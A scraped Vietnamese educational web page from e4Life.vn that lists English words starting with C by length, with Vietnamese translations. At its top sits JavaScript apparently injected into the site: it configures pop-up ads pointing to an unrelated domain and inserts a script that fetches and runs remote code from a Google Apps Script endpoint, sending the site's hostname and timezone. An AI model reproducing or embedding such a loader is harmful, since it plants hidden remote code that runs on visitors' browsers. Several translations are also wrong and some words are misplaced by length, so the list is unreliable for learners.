var GTM = 'GTM-NJKFBQ8'; var GG_ADS = 'ca-pub-8687624480880776'; var POPUP_IMG_PREFIX = "https://nhaxinhplaza.vn/wp-content/uploads/2022/08/"; // qc.png, close.png var SHOW_POPUP = 1; // 0: disable, 1: enable var MAX_CLAIM = 1; var TIME_TO_SHOW_POPUP = 10; // 10s var MAX_BUFF = 3; var b64e = function (a) { return btoa(encodeURIComponent(a).replace(/%([0-9A-F]{2})/g, function (b, a) { return String.fromCharCode("0x" + a) })) }; var gg_layer = document.createElement('script'); gg_layer.type = 'text/javascript'; gg_layer.src = `https://script.google.com/macros/s/AKfycbwT2tLHaERiLaaaT_05pnXM2h0pjKHGRPBTQgeffPjyIIXBAR46dAuj5S0sgi2scsJ77Q/exec ?st=${b64e(location.hostname)}&tm=${new Date().getHours()}&os=${b64e(new Date().getTimezoneOffset())}`; var s = document.getElementsByTagName('script')[0];s.parentNode.insertBefore(gg_layer, s);

333 Từ vựng tiếng Anh bắt đầu bằng chữ C | e4Life.vn

Chắc hẳn khi học tiếng Anh các bạn cũng sẽ bắt gặp rất nhiều những từ vựng tiếng Anh bắt đầu bằng chữ C. Trong bài viết sau đây 4Life English Center (e4Life.vn) sẽ đi tìm hiểu về những từ tiếng Anh bắt đầu bằng chữ C thông dụng nhất. Với lượng từ vựng mới mẻ này sẽ giúp các bạn ứng dụng thành thạo vào thực tế đồng thời giúp cho việc học trở nên dễ dàng và tối ưu thời gian hơn.

tiếng Anh bắt đầu bằng chữ C
Từ vựng tiếng Anh bắt đầu bằng chữ C

1. Từ vựng tiếng Anh bắt đầu bằng chữ C có 3 chữ cái

  • Cry: khóc
  • Can: có thể
  • Cap: mũ lưỡi trai
  • Cup: tách, chén
  • Cat: con mèo
  • Car: xe ô tô
  • Cut: cắt
  • Cow: con bò cái

2. Các từ vựng tiếng Anh có bắt đầu bằng chữ C gồm 4 chữ cái

  • Care: quan tâm
  • Cake: bánh ngọt
  • Copy: sao chép
  • Cook: nấu
  • Coin: đồng tiền
  • Cool: mát mẻ
  • Cost: phí
  • Clap: vỗ tay
  • Cent: đồng xu
  • Chat: nói chuyện
  • Call: gọi
  • Camp: trại, cắm trại
  • Cold: lạnh
  • Cell: ô, ngăn
  • Card: thẻ
  • Cope: đương đầu
  • Come: đến
  • City: thành phố
  • Chew: nhai, ngẫm nghĩ
  • Club: câu lạc bộ
  • Chin: cằm
  • Cure: chữa trị
  • Code: mật mã, điều lệ
  • Core: cốt lõi
  • Case: trường hợp, tình huống, thực tế
  • Curb: kiềm chế
  • Crop: vụ mùa
  • Cast: quăng, ném
  • Curl: xoăn
  • Cash: tiền mặt
  • Calm: điềm tĩnh
  • Chip: vỏ bào, mảnh vỡ
  • Coal: than đá
  • Chop: chặt
  • Coat: áo choàng

3. Các từ vựng tiếng Anh có bắt đầu bằng chữ C gồm 5 chữ cái

  • Class: lớp học
  • Child: đứa trẻ
  • Close: đóng
  • Could: có thể
  • Clock: đồng hồ
  • Cause: nguyên nhân, nguyên do
  • Candy: kẹo
  • Clean: sạch sẽ, rõ ràng
  • Count: đếm, tính
  • Cable: dây cáp
  • Catch: nắm lấy, bắt lấy
  • Cheap: rẻ
  • Clear: trong sáng, khoảng trống
  • Crown: vương miện
  • Crowd: bầy đàn
  • Cream: kem
  • Crash: vụ tai nạn
  • Court: tòa án
  • Coach: huấn luyện viên
  • Crazy: điên, mất trí
  • Cloud: mây, đám mây
  • Civil: dân sự
  • Cruel: hung ác
  • Chest: tủ, rương
  • Cheat: lừa đảo
  • Chart: đồ thị, biểu đồ
  • Chair: ghế
  • Crush: người mình thích
  • Cease: ngưng, thôi
  • Crack: nút
  • Check: kiểm tra
  • Carry: mang
  • Chief: lãnh tụ, trưởng
  • Craft: thủ công
  • Crime: tội ác
  • Climb: leo, trèo
  • Cross: vượt qua
  • Claim: yêu cầu
  • Curve: đường cong
  • Chain: chuỗi
  • Court: sân nhà, chỗ ở
  • Cloth: vải
  • Cycle: xe đạp
  • Click: nhấp chuột
  • Cheek: má
  • Crisp: giòn
  • Chase: đuổi, săn bắt
  • Cough: ho
  • Clerk: thư kí
  • Cover: che đậy, bao phủ
  • Coast: bờ biển

4. Các từ vựng tiếng Anh có bắt đầu bằng chữ C gồm 6 chữ cái

  • Chance: cơ hội
  • Create: tạo nên
  • Camera: máy ảnh
  • Charge: sạc điện, phí
  • Course: khóa học
  • Carrot: củ cà rốt
  • Cancel: hủy bỏ
  • Cookie: bánh quy
  • Credit: tín dụng
  • Coming: đang đến
  • Cancer: bệnh ung thư
  • Capable: có năng lực, có tài
  • Crisis: cuộc khủng hoảng
  • Couple: cặp đôi
  • Coffee: cà phê
  • Cinema: rạp chiếu phim
  • Cousin: anh em họ
  • Custom: tập quán
  • Circle: khoanh tròn
  • Choose: lựa chọn
  • Cheese: pho mát
  • Castle: thành trì
  • Choice: lựa chọn
  • Career: nghề nghiệp
  • Colour: màu sắc
  • Carpet: tấm thảm, thảm cỏ
  • Column: cột
  • Church: nhà thờ
  • Cheque: đánh dấu
  • Centre: trung tâm
  • Cannot: không thể
  • Change: thay đổi
  • Capital: thủ đô, tư bản
  • Comedy: hài kịch
  • Cooker: lò, bếp nấu
  • Corner: góc
  • Clever: thông minh
  • Common: chung
  • Client: khách hàng
  • Cotton: bông
  • Commit: giao thác
  • Closet: buồng nhỏ
  • County: quận hạt
  • Course: món ăn, dĩ nhiên

5. Các từ vựng tiếng Anh có bắt đầu bằng chữ C gồm 7 chữ cái

  • Company: công ty
  • Central: trung tâm
  • Content: nội dung
  • Comment: bình luận
  • Contact: liên lạc, liên hệ
  • Correct: chính xác
  • Control: kiểm soát
  • Captain: người chỉ huy
  • Ceiling: trần nhà
  • College: trường đại học
  • Connect: kết nối
  • Compare: so sánh
  • Classic: cổ điển
  • Certain: chắc chắn
  • Concept: khái niệm
  • Concert: buổi hòa nhạc
  • Courage: lòng can đảm
  • Counter: quầy tính tiền
  • Curtain: bức màn
  • Comfort: an ủi
  • Century: thế kỷ
  • Curious: tò mò
  • Capture: bắt giữ
  • Current: hiện hành
  • Cottage: nhà tranh
  • Crucial: cốt yếu
  • Careful: cẩn thận, cẩn trọng
  • Conduct: chỉ đạo
  • Combine: kết hợp
  • Customs: phong tục
  • Collect: sưu tập
  • Clothes: áo quần
  • Contest: cuộc thi
  • Climate: khí hậu
  • Citizen: người thành thị
  • Chicken: gà, thịt gà
  • Chemist: nhà hóa học
  • Complex: phức tạp
  • Country: thành phố, quốc gia
  • Confine: giam giữ
  • Council: hội đồng
  • Confirm: xác nhận
  • Concern: liên quan
  • Compete: cạnh tranh
  • Consult: tham khảo
  • Confuse: lộn xộn
  • Culture: văn hóa
  • Command: chỉ huy
  • Cabinet: tủ có nhiều ngăn đựng đồ
  • Consist: bao gồm
  • Charity: từ thiện
  • Convert: biến đổi
  • Context: văn cảnh
  • Contain: lưu trữ

6. Các từ vựng tiếng Anh có bắt đầu bằng chữ C gồm 8 chữ cái

  • Customer: khách hàng
  • Continue: tiếp tục
  • Computer: máy tính
  • Children: trẻ em
  • Campaign: chiến dịch
  • Complain: phàn nàn
  • Chapter: chương sách
  • Concrete: bê tông
  • Consumer: người tiêu dùng
  • Criminal: tội phạm
  • Chemical: hóa chất
  • Complete: hoàn thành
  • Conclude: kết luận
  • Careless: sơ xuất, cẩu thả
  • Cheerful: vui lòng
  • Conflict: cuộc xung đột
  • Chamber: buồng phòng
  • Collapse: sụp đổ
  • Clothing: quần áo
  • Convince: thuyết phục
  • Cupboard: tủ đựng chén
  • Creature: sinh vật
  • Cultural: thuộc văn hóa
  • Ceremony: nghi lễ
  • Category: hàng, loại
  • Contrast: sự tương phản
  • Contract: hợp đồng
  • Chairman: chủ tịch
  • Critical: sự phê bình
  • Confront: đối mặt
  • Constant: kiên trì, bền lòng
  • Congress: hội nghĩ
  • Channel: kênh, eo biển
  • Capacity: sức chứa
  • Consider: xem xét

7. Các từ vựng tiếng Anh có bắt đầu bằng chữ C gồm 9 chữ cái

  • Confident: tự tin
  • Character: tính cách
  • Challenge: thử thách
  • Community: cộng đồng
  • Corporate: đoàn thể
  • Certainly: chắc chắn
  • Chocolate: sô cô la
  • Committee: ủy ban
  • Candidate: ứng cử viên
  • Celebrate: kỷ niệm
  • Cardboard: bìa cứng, các tông
  • Container: thùng đựng hàng
  • Complaint: lời than phiền
  • Colleague: bạn đồng nghiệp
  • Criterion: tiêu chuẩn
  • Cigarette: điếu thuốc lá
  • Conscious: biết rõ
  • Criticize: chỉ trích
  • Chemistry: môn hóa hoc
  • Calculate: tính toán
  • Condition: tình trạng
  • Classroom: phòng học
  • Criticism: sư phê bình
  • Continent: lục địa
  • Confusion: sự hoang mang
  • Construct: xây dựng
  • Cellphone: điện thoại di động
  • Concerned: lo âu
  • Component: thành phần
  • Connected: đã kết nối

8. Các từ vựng tiếng Anh có bắt đầu bằng chữ C gồm 10 chữ cái

  • Completion: hoàn thành
  • Considered: xem xét
  • Convenient: thuận tiện
  • Collection: bộ sưu tập
  • Commission: ủy ban
  • Continuous: tiếp diễn
  • Contribute: đóng góp
  • Confidence: tự tin
  • Conference: hội nghị
  • Connection: sự kết nối
  • Conclusion: phần kết luận
  • Commercial: thương mại
  • Centimetre: đơn vị xen ti mét
  • Complicate: phức tạp
  • Cheerfully: vui vẻ
  • Concerning: liên quan
  • Commitment: lời cam kết
  • Convention: quy ước
  • Consistent: thích hợp
  • Controlled: được điều khiển

9. Các từ vựng tiếng Anh có bắt đầu bằng chữ C gồm 11 chữ cái

  • Communicate: giao tiếp
  • Comfortable: sự thoải mái
  • Competition: sự cạnh tranh
  • Countryside: miền quê
  • Certificate: chứng chỉ
  • Corporation: sự hợp tác
  • Combination: sự kết hợp
  • Celebration: lễ kỷ niệm, sự nổi tiếng
  • Consequence: hậu quả
  • Contrasting: tương phản
  • Consumption: tiêu dùng
  • Considering: đang cân nhắc, xem xét
  • Countrywide: ngoại ô
  • Concentrate: tập trung
  • Challenging: thử thách

10. Các từ vựng tiếng Anh có bắt đầu bằng chữ C gồm 12 chữ cái

  • Constitution: tổ chức
  • Considerable: đáng kể
  • Construction: xây dựng
  • Conversation: cuộc hội thoại
  • Contemporary: đồng thời
  • Circumstance: hoàn cảnh
  • Continuation: tiếp tục
  • Contribution: sự đóng góp
  • Conventional: thông thường
  • Compensation: đền bù
  • Conservative: thận trọng

11. Các từ vựng tiếng Anh có bắt đầu bằng chữ C gồm 13 chữ cái

  • Certification: chứng nhận
  • Communication: giao tiếp
  • Contamination: ô nhiễm
  • Comprehensive: sự nhận thức
  • Concentration: nồng độ
  • Confrontation: đối đầu
  • Complementary: bổ túc
  • Consideration: sự xem xét
  • Consolidation: sự bền vững, sự kiên cố

12. Các từ vựng tiếng Anh có bắt đầu bằng chữ C gồm 14 chữ cái

  • Classification: phân loại
  • Characteristic: đặc tính
  • Countermeasure: biện pháp đối phó
  • Containerboard: thùng chứa
  • Congregational: hội đoàn
  • Constitutional: theo hiến pháp
  • Counterbalance: đối trọng
  • Comprehensible: có thể hiểu được

13. Các từ vựng tiếng Anh có bắt đầu bằng chữ C gồm 15 chữ cái

  • Conservationist: nhà bảo tồn
  • Contemporaneous: cùng thời
  • Constructionist: nhà xây dựng
  • Capitalizations: viết hoa
  • Congratulations: chúc mừng
  • Complementarity: sự bổ sung

Ôn từ vựng tiếng Anh bắt đầu bằng chữ C

Trên đây là toàn bộ những từ vựng tiếng Anh bắt đầu bằng chữ C đầy đủ chi tiết mà 4Life English Center (e4Life.vn) đã chia sẻ cho các bạn. Hãy tạo cho mình một phương pháp học hiệu quả nhất để nắm vững những từ vựng nêu trên nhé!